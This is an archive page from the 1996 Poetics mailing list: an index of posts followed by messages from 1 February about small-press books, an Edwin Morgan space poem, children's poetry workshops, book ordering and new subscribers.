419. Douglas Messerli — Re: ROOF BOOKS -- Special Offer
420. Chris Stroffolino — Re: (C) up for grabs

421. Gabrielle Welford — Re: Poetry Sightings
422. Daniel Winston Jones — Re: ROOF BOOKS -- Special Offer
423. Carl Lynden Peters — Re: ROOF BOOKS -- Special Offer
424. Daniel Bouchard — Re: (C) up for grabs
425. jeffrey timmons — Re: write that boy
426. Ryan Knighton — Re: writing the body
427. Charles Watts — Capilano Review festschrift for Blaser
428. Steve Carll — Re: writing the bod
429. Jackson Mac Low — lost download of poetics digest for Feb 10-11, 1996
430. Sheila E. Murphy — Re: ROOF BOOKS -- Special Offer
431. Emily Lloyd — Re: (C) up for grabs
432. Peters, Mark — Re: ROOF BOOKS -- Special Offer
433. Henry Gould — writing the bod (re: S. Carll response)
434. ryan johnson — Fwd: Important & RIDICULOUS (fwd) -Forwarded -Forwarded (fwd)
435. Candace Leigh Pirnak — Re: writing the body
436. Charles Alexander — Re: (C) up for grabs
437. Douglas Messerli — Re: (C) up for grabs
438. Gabrielle Welford — Re: (C) up for grabs
439. Daniel Bouchard — In court today
440. Charles Bernstein — !!How to!!Reply to::Re: ROOF BOOKS -- Special Offer
441. Timothy Liu — Re: ROOF BOOKS -- Special Offer
442. Timothy Liu — Re: ROOF BOOKS -- Special Offer
443. David Kellogg — Re: ROOF BOOKS -- Special Offer
444. Sheila E. Murphy — Re: Copyright
445. Loss Glazier — EPC/Announcements/Conferences/Duncan
446. Mark Nowak — Re: miniapples
447. mikl-em — Re: Important + Ridiculous [abortion]
448. Charles Bernstein — Johanna Drucker & M/E/A/N/I/N/G
449. Joseph Zitt — (no subject)
450. Rae Armantrout — Re: ROOF BOOKS -- Special Offer
451. Kevin Killian — Re: ROOF BOOKS -- Special Offer
452. Emily Lloyd — Re: (C) up for grabs
453. Jordan Davis — Flaming Roof
454. Jackson Mac Low — (no subject)
455. Douglas Messerli — Re: (C) up for grabs
456. Charles Alexander — (no subject)
457. Eryque Gleason — Re: (C) up for grabs
458. Charles Alexander — (no subject)
459. Ron Silliman — Internet Censorship

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460. Aldon L. Nielsen — Re: Vizenor
461. Jonathan Brannen — FYI - CDA has been signed into law
462. R I Caddel — Re: Veronica Forrest-Thomson
463. Ron Silliman — ROOF voyeurism
464. henry gould — anthologies
465. Emily Lloyd — Douglas: (C) up for grabs
466. Mark Roberts — Re: ROOF BOOKS -- Special Offer
467. James Sherry — Currency and Postage
468. Joe Amato — roof books, copies, internet etc...
469. Jordan Davis — on condition of anonymity
470. KUSZAI — Bloody Staples
471. Charles Alexander — Re: Bloody Staples
472. Mark Roberts — (no subject)
473. Douglas Messerli — Re: Douglas: (C) up for grabs
474. Douglas Messerli — Re: Currency and Postage

475. Robert Drake — Re: roof books, copies, internet etc...
476. Steve Carll — Rewrite that bod
477. Robert Drake — Re: Bloody Staples
478. Henry Gould — Re: re re rewriting that bod
479. Jerry Rothenberg — Re: Bloody Staples
480. Emily Lloyd — anths, etc. The End.
481. Daniel Bouchard — Re: on condition of anonymity
482. Joe Amato — Re: roof books, copies, internet etc...
483. Ken Edwards — Out of Everywhere
484. Roland Greene — Drucker
485. Kevin Killian — Re: on condition of anonymity
486. Chris Stroffolino — Re: (C) up for grabs
487. Chris Stroffolino — Re: (C) up for grabs
488. Kit Robinson — Re: ROOF voyeurism
489. Rod Smith — Re: re re rewriting that Blasing
490. Chris Stroffolino — Re: re re rewriting that Blasing
491. Daniel Bouchard — Re: (C) up for grabs
492. Jordan Davis — as one person who talks a lot
493. Steve Carll — Re: re re rewriting that bod
494. Robert Kelly — Re: Out of Everywhere
495. Henry Gould — Re: the sappho
496. ryan johnson — Re: In court today
497. ryan johnson — Re: Important + Ridiculous [abortion]
498. ryan johnson — Re: Internet Censorship
499. Jordan Davis — Rather sappho
500. Eryque Gleason — Re: ROOF voyeurism
501. Eryque Gleason — Re: (C) up for grabs
502. mikl-em — Re: M-poe's
503. Aldon L. Nielsen — Re: not an order for ROOF books
504. Aldon L. Nielsen — Re: BEAT BLEET
505. Henry Gould — m-poets
506. Gabrielle Welford — Sapphos
507. Gabrielle Welford — mrning (fwd)
508. Mark W Scroggins — Re: mrning (fwd)

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509. Ron Silliman — Re: Bloody Staples
510. Ron Silliman — New address
511. Chris Stroffolino — Re: (C) up for grabs
512. Pierre Joris — Re: BEAT BLEET

18 FEB 1996

513. Kenneth Sherwood — To copy or not to copy
514. Loss Glazier — Some Thoughts on Eigner [long post]

19 FEB 1996

515. Mark Wallace — legacies
516. Mark Roberts — (no subject)
517. Aldon L. Nielsen — Re: Brownie McGhee
518. Douglas Messerli — Re: To copy or not to copy
519. Douglas Messerli — Eigner post by Loss Glazier
520. Chris Stroffolino — Re: Brownie McGhee
521. Kenneth Sherwood — Followed the thread/caught in the web...
522. Patrick Phillips — Re: Brownie McGhee
523. Eryque Gleason — Re: Brownie McGhee

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524. Christopher L. Filkins — 24 Hours of Democracy
525. Aldon L. Nielsen — Re: 103d Street
526. Ron Silliman — Re: Followed the thread/caught in the web...
527. Charles Alexander — Re: Followed the thread/caught in the web...
528. Henry Gould — Re: Brownie McGhee
529. Jordan Davis — ironic consecutivity
530. Jordan Davis — russian (former USSR) poets query
531. Rod Smith — Question: Berrigan/Cage, Cage/Williams
532. ryan johnson — Re: Followed the thread/caught in the web...
533. Marisa Januzzi — Re: Followed the thread/caught in the web...
534. Christopher J. Beach — Re: legacies
535. Eryque Gleason — Re: Followed the thread/caught in the web...
536. Hank Lazer — Lazer electronic chap information for all

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537. Robert Drake — Re: legacies
538. Christopher L. Filkins — Charles Alexander, John Milton, & 24 Hours of Democracy
539. Erica Hunt — Venice: Poetry and Performance Art Workshop
540. Aldon L. Nielsen — Re: do not copy this under penalty of loy
541. Chris Stroffolino — Re: legacies
542. Chris Stroffolino — Re: 103d Street
543. Ken Edwards — Followed the thread/caught in the web...
544. Ron Silliman — Re: Question: Berrigan/Cage, Cage/Williams
545. Hank Lazer — Re: roof books, copies, internet etc...
546. Pierre Joris — PEN News
547. Mark Wallace — legacies
548. Henry Gould — M & Ms
549. Jim Pangborn — Re: Charles Alexander, John Milton, & 24 Hours of Democracy
550. Charles Bernstein — Premonitions anthology (fwd)
551. Eryque Gleason — Re: PEN News
552. Christopher J. Beach — Re: legacies
553. Christopher J. Beach — Re: legacies
554. Chris Stroffolino — Re: legacies
555. Chris Stroffolino — Re: legacies
556. Jerry Rothenberg — Millennium Celebration
557. Kenneth Sherwood — transcending L or M
558. Henry Gould — re : beyond L or M
559. Rod Smith — Re: legacies (Lyn & M)
560. Steve Carll — Re: re : beyond L or M
561. Jordan Davis — Rrrr: beyond L or M
562. Jordan Davis — Regaled with ecstasies
563. Robert Drake — Re: Rrrr: beyond L or M
564. Wystan Curnow — Re: challenges: re: Joe's post(long)
565. William Howard — Re: Milton (on freedom of the press) & Bakhtin's "chronotope"
566. Wystan Curnow — Re: We all break for laokoon
567. Wystan Curnow — Re: We all break for laokoon
568. Wystan Curnow — Re: Poetry & Sculpture, etc.
569. Andrew Robert Maxwell — Re: 103d Street
570. Dan Raphael Dlugonski — Species of Abandoned Light
571. MAXINE CHERNOFF — Re: Rrrr: beyond L or M

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572. Charles Alexander — Re: We all break for laokoon
573. Chris Stroffolino — Re: 103d Street
574. Patrick J Schultz — FW: FEB 29 (fwd)
575. Alan Sondheim — Re: FW: FEB 29 (fwd)
576. Ron Silliman — Re: legacies

577. Ron Silliman — Re: Rrrr: beyond L or M
578. Sheila E. Murphy — Re: Rrrr: beyond L or M
579. Michael Boughn — Re: legacies
580. FUNKHOUSER CHRISTOPH — ESAD
581. Henry Gould — saddled with Blasing
582. Eryque Gleason — Re: FW: FEB 29 (fwd)
583. Aldon L. Nielsen — Re: the none study
584. Henry Gould — Re: the none study
585. Peter Baker — Re: POETICS Digest - 19 Feb 1996 to 20 Feb 1996
586. Christopher J. Beach — Re: legacies
587. Larry Price — & Hobbes
588. John E. Matthias — David Jones & Faber
589. Chris Stroffolino — Re: the none study

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590. Wendy Battin — query: book distribution
591. Susan Schultz — TINFISH is coming!
592. Stephen Galen Cope — PBS, NPR
593. Michael Boughn — transcendence
594. Jonathan A Levin — Re: the none study
595. R I Caddel — poetry 'n' sculpture
596. Jerry Rothenberg — Re: David Jones & Faber
597. Edward Foster — Re: Special Delivery
598. Jack Mahan — Re: the none
599. Larry Price — Wastin tiiime away....
600. Jordan Davis — studying anon
601. Edward Foster — Re: the none
602. Maria Damon — Re: write that boy
603. Edward Foster — AMAZING EVENT
604. Edward Foster — Re: the none
605. Paul Beidler — CFP: L E G A C I E S
606. Maria Damon — Re: Brownie McGhee
607. Maria Damon — Re: Some Thoughts on Eigner [long post]
608. Daniel Bouchard — wobblin' chains
609. Larry Price — Re: the none
610. Maria Damon — Re: roof
611. Madeline Gins — Poetic Jumps
612. Madeline Gins — Re: POETICS Digest - 15 Feb 1996 to 16 Feb 1996
613. Madeline Gins — Poetic Jumps
614. David Kellogg — Premonitions
615. David Kellogg — Article on Lacan & Contemporary Poetry
616. Joseph Zitt — New Work

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617. Peter Jaeger — Re: L poets, M poets, Lacan, etc.
618. Michael Boughn — Re: the none
619. Maria Damon — Re: Premonitions
620. - Kim Tedrow — Re: Premonitions
621. Steve Carll — barred S bards
622. Ron Silliman — Trans Sending

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623. Thomas Bell — Re: Trans Sending
624. Gabrielle Welford — Re: wobblin' chains
625. Ron Silliman — Trans Sending, TN
626. Jordan Davis — The Icebox in Summer
627. Patrick Phillips — Re: Trans Sending

628. Thomas Bell — Re: Trans Sending, TN
629. Chris Stroffolino — Re: Trans Sending
630. Peter Jaeger — Re: barred S bards
631. Tony Green — on again

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632. Jordan Davis — In Praise of Erasmus
633. Henry Gould — trans sending etc.
634. Mark Roberts — Re: query: book distribution
635. Mark Wallace — dead horses
636. Don Cheney — Re[2]: roof
637. Douglas Messerli — Re: query: book distribution
638. Edward Foster — Re: the none
639. Edward Foster — Re: the none study
640. ryan johnson — Re: Trans Sending
641. Joe Amato — old thread...
642. Rod Smith — Re: trans sending etc.
643. Charles Smith — Re: Trans Sending
644. Henry Gould — Re: trans sending etc.
645. Edward Foster — Re: Trans Sending
646. Ward Tietz — Presentation/Performance
647. Joseph Zitt — New Work (Correction)
648. Aldon L. Nielsen — Re: message in a bottle
649. Maria Damon — Re: Presentation/Performance
650. Chris Stroffolino — Re: message in a bottle
651. Chris Stroffolino — snoozers
652. Rod Smith — Re: query: book distribution

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653. Ron Silliman — dead horses, live theories
654. Ron Silliman — Re: Trans Sending
655. Schuchat — Re: Trans Sending
656. Henry Gould — trans sending
657. Kenneth Goldsmith — Announcing the release of LINGO 5
658. Patrick Foley — Re: Trans Sending
659. Rod Smith — Re: dead horses, live theories
660. Henry Gould — Re: dead horses, live theories
661. Tony Green — Re: Trans Sending
662. Martin Spinelli — Poetry Soundfiles on line
663. Rod Smith — Re: dead horses, live theories
664. Christopher J. Beach — Re: dead horses, live theories
665. Thomas Bell — bodies
666. Chris Stroffolino — Re: dead horses, live theories
667. Jordan Davis — PR, book distribution, political organization
668. Wendy Battin — Re: query: book distribution
669. Carla Billitteri — Rob't Dunc. on "breakdown of the body politic"
670. Bill Luoma — New Pub
671. Patrick Foley — Re: Trans Sending
672. Tony Green — Re: Trans Sending
673. Keith Tuma — Re: Rob't Dunc. on "breakdown of the body politic"
674. Patrick Phillips — trans mitting dead ringers, live recordings
675. Thomas Bell — PR, book dist.....and change
676. Ron Silliman — Arise ye prisoners of starvation...
677. Ron Silliman — Objectionable
678. Patrick Phillips — seventh inning stretch/new mail address

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679. Robert Drake — Re: Trans Sending
680. Patrick Phillips — New Book From Thad Ziolkowski
681. Thomas Bell — Arise, found whalen and some other things
682. Gabrielle Welford — (Fwd) How many Republicans...?
683. Rod Smith — Re: dead horses, live theories
684. Henry Gould — how many Republicans
685. Michael Boughn — New Olson bio
686. Daniel Bouchard — today the mid-atlantic. . .tomorrow the world!
687. Schuchat — Princeton Poets
688. Emily Lloyd — Re: dead classes, living classes, theory?
689. Emily Lloyd — Re: academic poet/ry
690. Mark Wallace — dead classes, living classes, theory?
691. Schuchat — Re: dead classes, living classes, theory?
692. Charles Bernstein — New Subscribers
693. Henry Gould — Re: dead peg theory
694. Joe Amato — Re: dead classes, living classes, theory?
695. Joe Amato — Re: dead classes, living classes, theory?
696. Emily Lloyd — Re: academic poet/ry
697. Emily Lloyd — Re: Adorno
698. Daniel Bouchard — Re: dead peg theory -Reply
699. Henry Gould — Re: dead peg theory T-Door reply
700. Daniel Bouchard — Borders Philadelphia Election Date (fwd)
701. Charles Alexander — Re: Rob't Dunc. on "breakdown of the body politic"
702. Gabrielle Welford — Fwd: [Ravnish Gupta <[redacted]>: Save a Life (fwd)] (fwd)
703. Emily Lloyd — Re: academic poet/ry
704. Charles Smith — (no subject)
705. David Kellogg — Re: PR, book dist.....and change
706. Fred Muratori — G. Sobin Review
707. Maria Damon — Re: dead horses, live theories
708. Maria Damon — Re: New Subscribers
709. Maria Damon — Re: dead classes, living classes, theory?
710. Maria Damon — Re: dead peg theory -Reply
711. Robert Drake — renga on th web
712. Daniel Bouchard — Re: dead peg theory
713. Loss Glazier — Re: New Olson bio
714. Thomas Bell — Re: PR, book dist.....and change
715. Joseph Zitt — Re: Cage/Williams/Revill
716. Charles Smith — Re: Princeton Poets
717. Charles Smith — _Bear's Head_ Arrests
718. Charles Smith — (no subject)
719. Maria Damon — Ted Joans alert
720. Maria Damon — Re: _Bear's Head_ Arrests

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721. Rod Smith — Cage/Williams/Revill
722. a hurricane triggered by butterfly's wings — Re: New Subscribers
723. Chris Stroffolino — Re: dead classes, living classes, theory?
724. Alan Sondheim — Various
725. Ron Silliman — Re: dead horses, live theories
726. Ron Silliman — Multiversity
727. Henry Gould — Re: dead peg theory
728. Henry Gould — dead theories, live action figures
729. Daniel Bouchard — Re: academic poet/ry
730. Schuchat — Re: dead classes, living classes, theory?
731. Maria Damon — Re: dead classes, living classes, theory?
732. Robert Drake — Re: New Subscribers

733. Joe Amato — Re: academic poet/ry
734. Donald J. Byrd — Re: dead horses, live theories
735. Jordan Davis — Re: academic poet/ry
736. Jordan Davis — Re: academic poet/ry
737. Patrick Foley — Re: Adorno
738. Fred Muratori — Re: academic poet/ry
739. Daniel Bouchard — Re: academic poet/ry
740. Jordan Davis — Re: Adorno
741. Daniel Bouchard — fellow ships
742. Donald J. Byrd — Re: Rob't Dunc. on "breakdown of the body politic"
743. Maria Damon — Re: academic poet/ry
744. Donald J. Byrd — Re: Rob't Dunc. Pt. II of DB's Post
745. Ray Davis — Re: academic poet/ry
746. Rod Smith — Re: dead horses, live theories
747. Chris Stroffolino — Re: academic poet/ry
748. Chris Stroffolino — Re: academic poet/ry
749. Chris Stroffolino — Re: academic poet/ry
750. Ray Davis — Re: academic poet/ry
751. Alan Sondheim — Re: academic poet/ry
752. Steven Howard Shoemaker — scanning brains/ scanning poems
753. Douglas Messerli — Re: dead horses, live theories
754. Susan Schultz — Re: fellow ships
755. David Golumbia — Re: academic poet/ry
756. David Golumbia — Re: dead classes, living classes, theory?
757. Jordan Davis — prefatory remarks
758. Henry Gould — Mr. Gould on derrida transpee blah blah
759. David Kellogg — Re: dead horses, live theories
760. Chris Stroffolino — Re: prefatory remarks
761. Wystan Curnow — Re: academic poet/ry
762. Maria Damon — Re: academic poet/ry
763. Maria Damon — Re: academic poet/ry
764. Blair Seagram — Emerson & Trans parency

1. Gabrielle Welford
Re: Reply of Our Lady Teresa
Thu 1 Feb 1996

Goddesses We Ain't was originally a small anthology of writing by the Tenderloin Women Writers Workshop to which my old and dear friend Mary TallMountain belonged. The Workshop was a miraculous thing in itself, composed of any and all women who wanted to belong, including drug addicts, prostitutes and older women who were in the Tenderloin because they couldn't afford to live anywhere else. A woman called Carol Heller at UCB did a great dissertation on it as a grassroots educational community. It's great to hear they're putting out volumes! I'm wondering if Goddesses We Ain't Press is the one being funded by a legacy that Mary TM left to help the homeless and creative. I'll have to get a copy! Good to hear! Gabrielle

↑ Index

2. Thomas Bell
Re: neuromantic poetry
Thu 1 Feb 1996

Did I hear right? Neurocromantic?

On Wed, 31 Jan 1996, Kevin Killian wrote:

> *At 1:17 PM 1/31/96, Maria Damon wrote:*
> *What would a neuromantic poetry look/feel like?*
> *love it:*
> *cd look like whimpers of addicted newborns, or life-stories of addicts in recovery, halting breakdowns in articulation and all --cd be movement, body snaking in unforeseeable ways, cd be utterly transformative, what i like to call a "post-literary poetry"--md*
>
> *Maria,*
>
> *KK's subscribed to the Beat Generation List--I think you should repost your message there: "BEAT-L: Beat Generation List"* <[redacted]>
>
> *It sounds right up their alley.*
>
> *Dodie*

↑ Index

3. Herb Levy
Re: H. Chopin
Thu 1 Feb 1996

Loss et alia -

Here's what I found out about the Henri Chopin CD:

It's called Les 9 Saintes-Phonies & it's released by Staalplaat in conjunction with Korm Plastics. I have the following addresses for Staalplaat:

postbus 11453
1001 GL Amsterdam
The Netherlands

&

P O Box 83296
Oregon 97283
USA

Yes I realize that that doesn't include a city in Oregon, that's all I have.

The disc includes seven pieces from 1956 through the mid 1980s, with two collaborations - one with Sten hanson & one with Larry Wendt.

I haven't heard the CD, but it should be available through any store that carries "ambient/industrial" music, which is what Staalplaat mostly deals in. I can provide the address, phone, or e-mail for Wall of Sound in Seattle, where I saw the disc, if anyone wants it.

Bests

Herb Levy
[redacted]

↑ Index

4. R I Caddel
Simon Pettet
Thu 1 Feb 1996

Good to hear about Simon Pettet's Selected Poems, and forthcoming reading. I read with him in Biblio's nearly a year ago - he does indeed often read each poem twice, since most of them are very short. It's useful for slow learners like myself, like the action replays in sports coverage. "Too much of a good thing can be wonderful"...

I guess he'd change that habit, if he ever moved into long-distance work.

Richard Caddel

↑ Index

5. R I Caddel

poets in space

Thu 1 Feb 1996

As the space poetry thread picks up, the new Collected Poems of Edwin Morgan thumps (608pp) onto my desk: lots of space poems of one kind or another, including THE FIRST MEN ON MERCURY, from over twenty years ago:

- We come in peace from the third planet.
Would you take us to your leader?

- Bawr stretter! Bawr. Bawr. Stretterhawl?

- This is a little plasic model
of the solar system, with working parts.
You are here and we are there and we
are now here with you, is this clear?

- Gawl horrop. Bawr. Abawrhannahanna!

- Where we come from is blue and white
with brown, you see we call the brown
here 'land', the blue is 'sea', and the white
is 'clouds' over land and sea, we live
on the surface of the brown land,
all round is sea and clouds. We are 'men'.
Men come -

- Glawp men! Gawrbenner menko. Menhawl?

- Men come in peace from the third planet
which we call 'earth'. We are earthmen.
Take us earthmen to your leader.

- Thmen? Thmen? Bawr. Bawrhossop.
Yuleeda tan hanna. Harrabost yuleeda.

- I am the yuleeda. You see my hands,
we carry no benner, we come in peace.
The spaceways are all stretterhawn.

- Glawn peacemen all horrobhanna tantko!
Tan come at'mstrossop. Glawp yuleeda!

- Atoms are peacegawl in our harraban.
Menhat worrabost from tan hannahanna.

- You men we know bawrhossoptant. Bawr.
We know yuleeda. Go strawg backspetter quick.

- We cantantabawr, tantingko backspetter now!

- Banghapper now! Yes, third planet back.
Yuleeda will go back blue, white, brown
nowhanna! There is no more talk.

- Gawl han fasthapper?

- No. You must go back to your planet.
Go back in peace, take what you have gained
but quickly.

- Stretterworra gawl, gawl...

- Of course, but nothing is ever the same,
now is it? You'll remember Mercury.

[Edwin Morgan, Collected Poems, Carcanet Press, ISBN 1 85754 188 X, UKL14.95]

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Ready to be any thing, in the extasie of being ever" x x - Thomas Browne
x x x x

↑ Index

6. Chris Stroffolino
Re: Poetry City (Feb.29-Mar.14)
Thu 1 Feb 1996

Maria--I was responding to your late 50's "alternative male" space-geek post (one could also mention the movie QUIZ SHOW in this connection). Hence Bill Bixby. But I did not mean POST-LITERACY as a put-down. And, no, I wouldn't talk to "you know who" that way--- but it duz take two to tango.....cs

↑ Index

7. Libbie Rifkin
code of the west
Thu 1 Feb 1996

Hi, This is Libbie Rifkin. I posted an inquiry about Ted Berrigan a while back. Now I'm trying to get my hands on Ed Foster's <<Code of the West>> and

having great difficulty. For some reason, Buffalo will not interlibrary loan me a copy. Is the book in print? Does anyone have the publisher's phone number/address? Is Ed Foster on this list? Thanks for any leads.

↑ Index

8. Joe Amato
Re: biographies...
Thu 1 Feb 1996

---

kevin and ed, thanx for yr notes on reynolds' tome, very helpful in helping to situate my own reading of same... as tenney n. knows (tenney, what do *you* think?) i'm trying to figure out how to rework an essay begun long ago in a class i took with don byrd, about how whitman's poetry operates along the same conceptual coordinates as physicists who were at that time busy articulating the 'conservation of energy'... never been successful in drawing correspondences out to the satisfaction of the cultural studies folks, the lit. crit. folks, OR the more science-bound folks... perhaps b/c i haven't done enough with specifically economic factors (which related discussion a number of weeks ago was for me enlightening)... but fact is i'm really plying correspondences per se, and not all that focused on the discursive machinery of the times... which is why i was hoping to use reynolds' new work, if only by counterexample...

anyway, thanx again...

best,

joe

↑ Index

9. Jorge Guitart
Re: The Reefer of Reefers in Connecticut (fwd)
Thu 1 Feb 1996

---------- Forwarded message ----------
by cris cheek tom bell jordan davis maria damon gabrielle wellford lisa samuels chris scheil jorge guitart

> >in the asteroidal calm of obsidian pupils
> > & the Raven dominated by elocution, winking desperately,
> >about itself, about names in amber
> >hard and yellow
> >as an angry bee in velvet handcuffs
> > a bluebottle, knowing sex chemically,
> >launches the torpedo
> > retrieval vessel

> >from its dock or is it typewriting for angels laredo sweetheard
> > the beaten flat dominated by arching
> > wild, troped, busted over razor karma
> > with sugar shoelaces unjointured out of
> > regularity. You whispered "curios
> > sanctify fractal" However procedure spun
> > out of stains, broadbeaming --
> > on the timorous earth, she lay answering
> > blue absolutes
> > glacier ice is oh so nice
> >but white paintings
> >white sonnets white white thoughts
> bringing ears to my eyes, a robeing
> and that's how we grow being
and unseeing eye dogs our last days

↑ Index

10. Edward Foster
Re: code of the west
Thu 1 Feb 1996

---

hi, ya, i'm on the list. i think the best place to get _code of the west_ is SPD. i had lots of copies but gave them away and only have a couple left, but i think SPD has a good supply. also i could make a photocopy. (also the publisher--rodent press--must have copies.) let me know. -ed

↑ Index

11. Edward Foster
Re: dunno but
Thu 1 Feb 1996

---

this morning spent an hour or so at a local grammar school because they wanted a specimen poet. lovely children who had written lovely (truly lovely) poems, tho without much music. very saddening. the intentions were there, must enthusiasm, but it was poetic "thought"

: "i look out
the window and i see . . ." the problem so early!

↑ Index

12. Jordan Davis
Re: dunno but
Thu 1 Feb 1996

Oh well Ed
teach them something else!
that's easy.

Don't be sad
that people try to guess
what is wanted!

Be sad
if you must that no one says
"What else,"

Or, what
do you want to write
about.

I'd say
the same sadness is there
for the grownups!

With love (and what school was it?)
Jordan

↑ Index

13. Steve Carll
Re: dunno but
Thu 1 Feb 1996

At 12:56 PM 2/1/96 -0500, you wrote:
>this morning spent an hour or so at a local grammar school because they
>wanted a specimen poet. lovely children who had written lovely (truly
>lovely) poems, tho without much music. very saddening. the intentions
>were there, must enthusiasm, but it was poetic "thought"
>
>: "i look out
>the window and i see . . ." the problem so early!

It's just a phase, Ed, not necessarily a problem. The ones who pursue language because they're called to it will grow out of this "problem."

↑ Index

14. Daniel Bouchard
Re: dunno but
Thu 1 Feb 1996

At 12:56 PM 2/1/96 -0500, you wrote:
>>this morning spent an hour or so at a local grammar school because they
>>wanted a specimen poet. lovely children who had written lovely (truly
>>lovely) poems, tho without much music. very saddening. the intentions
>>were there, must enthusiasm, but it was poetic "thought"
>>
>>: "i look out
>>the window and i see . . ." the problem so early!

> *It's just a phase, Ed, not necessarily a problem. The ones who pursue language because they're called to it will grow out of this "problem."*

Yes, and the others still have a chance to lead relatively happy lives.

[redacted]

↑ Index

15. Jordan Davis
book/record ordering on the net
Thu 1 Feb 1996

Can onnyone offer a a consumer g-g-guide
to book and record buying over th' net?

That is, are there urls that people have used
and found thorough and reliable?

I've bought some books from BookFinders (british outfit)..

Jordan..

↑ Index

16. Kevin Killian
Re: dunno but
Thu 1 Feb 1996

At 12:56 PM 2/1/96, Edward Foster wrote:
>this morning spent an hour or so at a local grammar school because they
>wanted a specimen poet. lovely children who had written lovely (truly
>lovely) poems, tho without much music. very saddening. the intentions
>were there, must enthusiasm, but it was poetic "thought"
>

>: "i look out
>the window and i see . . ." the problem so early!

Ed,

These students are lucky to get the chance to work with you. I have never taught children myself, but I did work for a year in the office of California Poets in the Schools (CPITS) where I spent lots of time xeroxing children's poetry, plus I word-processed one year's children's poetry anthology. The work by these Californian children, on the whole, I found to be horrid--geared mostly, as far as I could tell, toward eliciting from adults an "isn't that cute response." Occasionally an "isn't that moving response." There was one memorable exception, this 9 year old girl who sounded incredibly like late John Wieners. However, when publications from New York's Teacher's and Writers (or whatever it's called) came through the office, I was surprised at how much more innovative the New York children's poems were. To me this must be related to differences in teaching philosophies of the two organizations. I remember working the registration desk at a CPITS conference while a teachers' writing workshop was going on around me. The point of this workshop was to examine ways the teachers could open up their own poetry. The exercise I remember them doing was to write a poem that didn't have the word "I" in it. This clearly was a new idea to some of them. (But look who's talking here--I use the word "I" obsessively in my own writing, but I think it's a different sort of "I".)

It seemed to me that 5th graders wrote the best poems. Earlier than that the teachers seemed to be doing much of the writing. Later than that the students seemed to have learned what the teachers were trying to teach them about writing. The 5th graders seemed to reside in that glorious window of creativity where they could do it on their own but didn't quite grasp what they were "supposed" to be doing.

Once I had to xerox a batch of children's poems from Oakland. Glancing vacantly at the poems, I came across a list poem by a gradeschool girl in which the assignment must have been to list all the things she didn't like. It was a bana,l totally predictable list =8A I don't like it when the kids yell at me, I don't like spinach, I don't like rain and on and on--then in the middle of this she wrote "I don't like it when he raped me"-- and then on with more vapidity, I don't like gym class, I don't like mustard, I don't like it when people frown. I just stood there and went, "Whoa!" I guess everything is equal in sentimental poetry.

Dodie Bellamy

↑ Index

17. Kevin Killian
SPT writing workshop
Thu 1 Feb 1996

Small Press Traffic presents "Writing in the Age of HIV"
a writing workshop taught by Stephen Beachy
Eight Wednesday evenings from 7:00 to 9:00
March 6 - April 24
at A Different Light Bookstore
489 Castro Street, San Francisco
$40 for the full 8 weeks
For information and reservations call 415/[redacted]

Stephen Beachy is the author of the novel The Whistling Song (W.W. Norton, 1991). He has taught writing workshops at the University of Iowa, the Harvey Milk Institute, and with youth throughout San Francisco through Writerscorps. His short fiction and essays have appeared in High Risk 2, Men's Style, and NEXT: Young American Writers on the New Generation. He is currently at work on his second novel, Distortion.

This workshop is made possible by the generous support of the James Irvine Foundation.

↑ Index

18. Joseph Zitt
Re: neuromantic poetry
Thu 1 Feb 1996

On 31 Jan 96 at 21:50, Thomas Bell wrote:

> *Did I hear right? Neurocromantic?*

Neocromagnon? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

19. Joseph Zitt
Re: book/record ordering on the net
Thu 1 Feb 1996

On 1 Feb 96 at 14:05, Jordan Davis wrote:

> *Can onnyone offer a a consumer g-g-guide*
> *to book and record buying over th' net?*

I've ordered CDs from Tower, but they've been very slow -- I'm still waiting on stuff I'd ordered six weeks ago.

I've been ordering books via email-order through Rod Smith at Bridge Books ([redacted]), who, I believe, is on this list; It's been the only wayfor me to get ahold of, for example, "In the American Tree" and "Musicage" in the blighted wilds of Dallas. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

20. Henry Gould

bk review wanted

Thu 1 Feb 1996

I will send a review copy of a book I co-edited and published in late 1994 to anyone on this list who can meet certain criteria. The book is called A GLASS OF GREEN TEA - WITH HONIG (Prov.: AlephoeBooks, 1994) distributed by Fordham Univ Press. It's a 415pp festschrift in honor of poet/translator Edwin Honig, with essays, memoirs, interviews, poems, letters, artwork, & a fairly complete bibliography of Honig's work. Contributors include ML Rosenthal, Richard Wilbur, Michael Harper, Rosmarie & Keith Waldrop, Yehuda Amichai, Ben Belitt, Edw. Hoagland, Robert Bly, David Ignatow, Albert Cook, & about 65 others.

Here's the criteria: - Some knowledge & interest in Honig's work; &/or in F. Pessoa & Hispanic & Portuguese lit (Honig has translated Pessoa, Calderon, Lorca, & others). - Ability to write a review & land publication.

I can afford to send out 5-10 such copies. The book kind of fell through the cracks - maybe because it's a festschrift, unknown press, Honig is fairly unknown quantity, maybe reasons I don't know. But in my humble biased opinion it deserves a review - only one it's had so far is in college newspaper in Toronto (not to knock them, but it didn't reach very far). I know this is endemic to publishing & probably everybody on this list could ask the same about a book - I hope no one will be offended by this request.

If you can fill these criteria, please write & describe to: [redacted] Thanks - HG

p.s. I welcome other comments. Am new to this list & if this is bad list ethics or etiquette let me know (please email direct to my address.)

↑ Index

21. Charles Bernstein
New Poetics Subscribers
Thu 1 Feb 1996

The Poetics List is now at about 350. Because of the number of people who have subscribed in the last two weeks, I am sending this one welcome message to all, standard "Welcome to Poetics" message at the end, so I don't have to e-mail each person separately, as I have been doing, but also as a chance to list give the name of the new subsribers:

Bill Smith <[redacted]> has just subscribed

Donna Ocoboc <[redacted]> has just subscribed to the POETICS list

Robert Mittenthal <[redacted]> has just subscribed to the POETICS

Jackson Mac Low <[redacted]> has just subscribed to the POETICS list

Philip Hammond <[redacted]> has just subscribed to the

Tim Cloward <[redacted]> has just subscribed to the POETICS

William Williams <[redacted]> has just subscribed to the

Chris Semansky <[redacted]> has just subscribed

Barry Cox <[redacted]> has just subscribed

Phil James <[redacted]> has just subscribed to the POETICS list

